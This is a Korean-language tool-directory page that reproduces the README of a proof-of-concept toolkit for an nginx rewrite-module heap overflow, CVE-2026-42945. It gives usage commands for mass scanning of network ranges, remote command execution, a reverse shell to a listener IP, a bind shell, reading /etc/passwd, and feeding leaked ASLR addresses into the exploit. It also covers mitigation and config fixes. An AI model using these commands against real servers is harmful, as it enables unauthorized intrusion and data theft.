Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42945 — CVE-2026-42945 Nginx Rift | Kitploit
도구/GitHubGitHub/liaoziqi-gzfls/cve-2026-42945
ReconnaissanceVulnerability AnalysisExploitationInformation GatheringWeb SecurityFuzzingPenetration TestingPayload DevelopmentBinary Exploitation
GitHubliaoziqi-gzfls/cve-2026-42945

CVE-2026-42945

CVE-2026-42945 Nginx Rift

1163개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2026-42945 Nginx Rift - PoC 툴킷

CVE-2026-42945(Nginx Rift)에 대한 포괄적인 개념 증명(PoC) 툴킷입니다. 이는 Nginx의 ngx_http_rewrite_module에서 발생하는 치명적인 힙 버퍼 오버플로우 취약점입니다.


취약점 요약

필드세부 사항
CVE IDCVE-2026-42945
이름Nginx Rift
유형힙 버퍼 오버플로우
구성 요소ngx_http_rewrite_module
심각도치명적(CVSS 9.2)
영향 버전Nginx 0.6.27 - 1.30.0
패치 버전Nginx 1.30.1 / 1.31.0

근본 원인

이 취약점은 리라이트 규칙을 처리할 때 두 내부 패스 간의 크기 계산 오류로 인해 발생합니다. 설정에 다음이 함께 사용되는 경우:

  • 이름 없는 정규식 캡처($1, $2 등)
  • ?를 포함하는 대체 문자열

Nginx는 첫 번째 패스에서 필요한 버퍼 크기를 잘못 계산하고 두 번째 패스에서 할당된 힙 버퍼를 초과하여 쓰기를 수행합니다.

취약한 설정 예시

server {
    # 취약: 이름 없는 캡처($1) + 대체 문자열 내 '?'
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

안전한 설정(패치됨)

server {
    # 안전: 이름 있는 캡처(?P<path>)가 $1을 대체
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

툴킷 구성 요소

1. nginx_rift_poc.py - 핵심 PoC 도구

단일 대상 취약점 스캐너 및 익스플로잇 도구입니다.

기능:

  • Server 헤더에서 Nginx 버전 감지
  • 버전이 취약한 범위에 있는지 확인
  • 제작된 HTTP 페이로드를 전송하여 힙 오버플로우 트리거
  • 취약한/안전한 테스트 설정 생성

사용법:

# 버전 감지 및 취약점 테스트
python nginx_rift_poc.py -t target.example.com

# 사용자 정의 페이로드로 테스트
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS 대상
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# 취약한 테스트 설정 생성
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# 안전한(패치된) 설정 생성
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py - 대량 스캐너

여러 대상을 동시에 테스트하는 일괄 스캐너입니다.

기능:

  • 멀티 스레드 스캔(기본 50개 스레드)
  • 파일 또는 CIDR 네트워크 범위에서 대상 목록 읽기
  • 통합을 위한 JSON 출력
  • 포트 443에 대한 자동 SSL 감지

사용법:

# 대상 파일에서 스캔(형식: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json

# 단일 대상 스캔
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# 네트워크 범위 스캔
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# 고속 스캔
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

대상 파일 형식:

# 주석은 #으로 시작
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py - 설정 분석기

로컬 Nginx 설정 파일에서 취약한 리라이트 패턴을 스캔합니다.

기능:

  • nginx.conf 구문 분석 및 include 지시문 추적
  • 대체 문자열 내 ?와 함께 사용된 이름 없는 캡처 감지
  • 자동 수정 지원(백업 포함)
  • 재귀 디렉터리 스캔

사용법:

# 단일 파일 스캔
python config_checker.py /etc/nginx/nginx.conf

# 디렉터리 재귀 스캔
python config_checker.py -d /etc/nginx/conf.d/

# 취약한 패턴 자동 수정(.bak 백업 생성)
python config_checker.py --fix /etc/nginx/nginx.conf

# 일반적인 Nginx 경로 자동 감지
python config_checker.py

4. enhanced_poc.py - 향상된 RCE PoC

depthfirst의 공식 연구를 기반으로 한 고급 익스플로잇 도구로, 여러 리라이트 패턴과 익스플로잇 모드를 지원합니다.

기능:

  • 8가지 일반적인 취약한 리라이트 패턴 자동 감지(/api/, /redirect/, /user/ 등)
  • 여러 오버플로우 트리거 문자 지원(+, &, =, %)
  • 제어된 오버플로우 크기를 가진 스마트 페이로드 생성
  • 여러 익스플로잇 모드: cmd / shell / bind / read
  • ASLR이 꺼진 환경을 위한 사용자 정의 힙/libc 기본 주소
  • 가짜 ngx_pool_cleanup_s를 포함한 동적 스프레이 본문 구성

사용법:

# 패턴 및 버전 자동 감지
python enhanced_poc.py -t target.example.com --detect

# 명령 실행(ASLR 꺼짐)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# 리버스 셸
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# 바인드 셸
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# 원격 파일 읽기
python enhanced_poc.py -t target.example.com --read /etc/passwd

# 사용자 정의 힙 기본(ASLR 꺼진 대상용)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# 오버플로우 트리거로 & 사용
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

익스플로잇 모드 세부 정보:

모드설명출력
cmd단일 셸 명령 실행대상의 명령 출력
shell리버스 셸 생성--listen-ip:listen-port로 연결
bind대상에 바인드 셸 생성대상의 --listen-port에서 수신
read대상에서 파일 읽기/tmp/nginx_rift_read에 내용 기록

주소 구성(ASLR 꺼짐 전용):

  • --heap-base: 대상 힙 기본 주소(예: 0x555555559000)
  • --libc-base: libc 기본 주소(예: 0x7ffff77ba000)
  • --system-addr: 직접 system() 주소(libc-base를 재정의)

5. aslr_leak_detector.py - ASLR 누출 감지기

ASLR 보호를 우회할 수 있는 정보 누출을 감지하는 포괄적인 스캐너입니다.

기능:

  • HTTP 헤더 누출 감지(Server, X-Powered-By 등)
  • 오류 페이지 분석(메모리 주소, 스택 추적)
  • Nginx 특정 엔드포인트 프로빙(/nginx_status, /actuator/* 등)
  • 메모리 주소 누출 감지(64비트 포인터, 힙/libc/스택 주소)
  • 타이밍 분석을 통한 힙 레이아웃 프로빙
  • ASLR 상태 추론(활성화/비활성화/약함)
  • JSON 보고서를 통한 enhanced_poc.py와 직접 통합

사용법:

# 단일 대상 스캔
python aslr_leak_detector.py -t target.example.com

# SSL 스캔
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# 파일에서 스캔, 보고서 저장
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# 네트워크 범위 스캔
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# 빠른 스캔 모드
python aslr_leak_detector.py -t target.example.com --quick

향상된 PoC와 통합:

# 1단계: 누출 감지
python aslr_leak_detector.py -t target.example.com -o leak.json

# 2단계: 누출된 주소를 익스플로잇에 사용
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

취약점 감지 지표

PoC 도구는 다음 지표를 통해 취약점을 식별합니다:

지표설명
연결 끊김대상이 예기치 않게 연결 종료(worker 충돌)
게이트웨이 오류HTTP 502/503/504 응답(worker 프로세스 사망)
느린 응답응답 시간이 크게 증가(충돌 복구)
빈 응답기준과 비교하여 응답 본문 사라짐
버전 일치감지된 Nginx 버전이 취약한 범위에 있음

설치

외부 종속성이 필요하지 않습니다. Python 표준 라이브러리만 사용합니다.

# 툴킷 복제 또는 다운로드
git clone <repository-url>
cd CVE-2026-42945

# Python 버전 확인(3.7+ 권장)
python3 --version

# 도구 실행
python3 nginx_rift_poc.py --help

영향을 받는 버전

제품영향을 받는 버전패치된 버전
Nginx 오픈 소스0.6.27 - 1.30.01.30.1 / 1.31.0
Nginx PlusR32 - R36R32 P6 / R36 P4
Nginx Ingress Controller패치 이전의 모든 버전패치된 릴리스로 업데이트
Nginx Gateway Fabric패치 이전의 모든 버전패치된 릴리스로 업데이트

완화

즉시 조치

  1. Nginx 패치를 1.30.1(안정) 또는 1.31.0(메인라인)로 업데이트
  2. 설정 감사에서 취약한 리라이트 패턴 확인
  3. Nginx worker 프로세스를 실행하는 모든 호스트에서 ASLR 활성화

설정 대안

패치가 즉시 불가능한 경우, 이름 없는 캡처를 이름 있는 캡처로 대체하십시오:

# 수정 전(취약)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# 수정 후(안전)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

WAF 가상 패치

취약한 리라이트 패턴을 대상으로 하는 비정상 요청을 차단하는 WAF 규칙을 배포하십시오.


면책 조항

이 툴킷은 승인된 보안 테스트 및 연구 목적으로만 사용됩니다.

  • 소유권이 있거나 명시적 테스트 권한이 있는 시스템에 대해서만 사용하십시오.
  • 컴퓨터 시스템에 대한 무단 액세스는 불법입니다.
  • 저자는 이 도구의 오용이나 이로 인한 손해에 대해 책임을 지지 않습니다.
  • 프로덕션 사용 전에 항상 격리된 환경에서 테스트하십시오.

관련 CVE

이 결함은 다른 세 가지 메모리 손상 문제와 함께 발견되었습니다:

CVE설명심각도
CVE-2026-42946SCGI/UWSGI 메모리 할당 결함높음
CVE-2026-40701OCSP용 DNS 확인에서 use-after-free중간
CVE-2026-42934UTF-8 구문 분석 범위 초과 읽기중간

참고 자료

  • F5 보안 권고
  • Nginx 보안
  • CVE-2026-42945 세부 정보

라이선스

이 프로젝트는 교육 및 승인된 보안 테스트 목적으로 제공됩니다.


도구 다운로드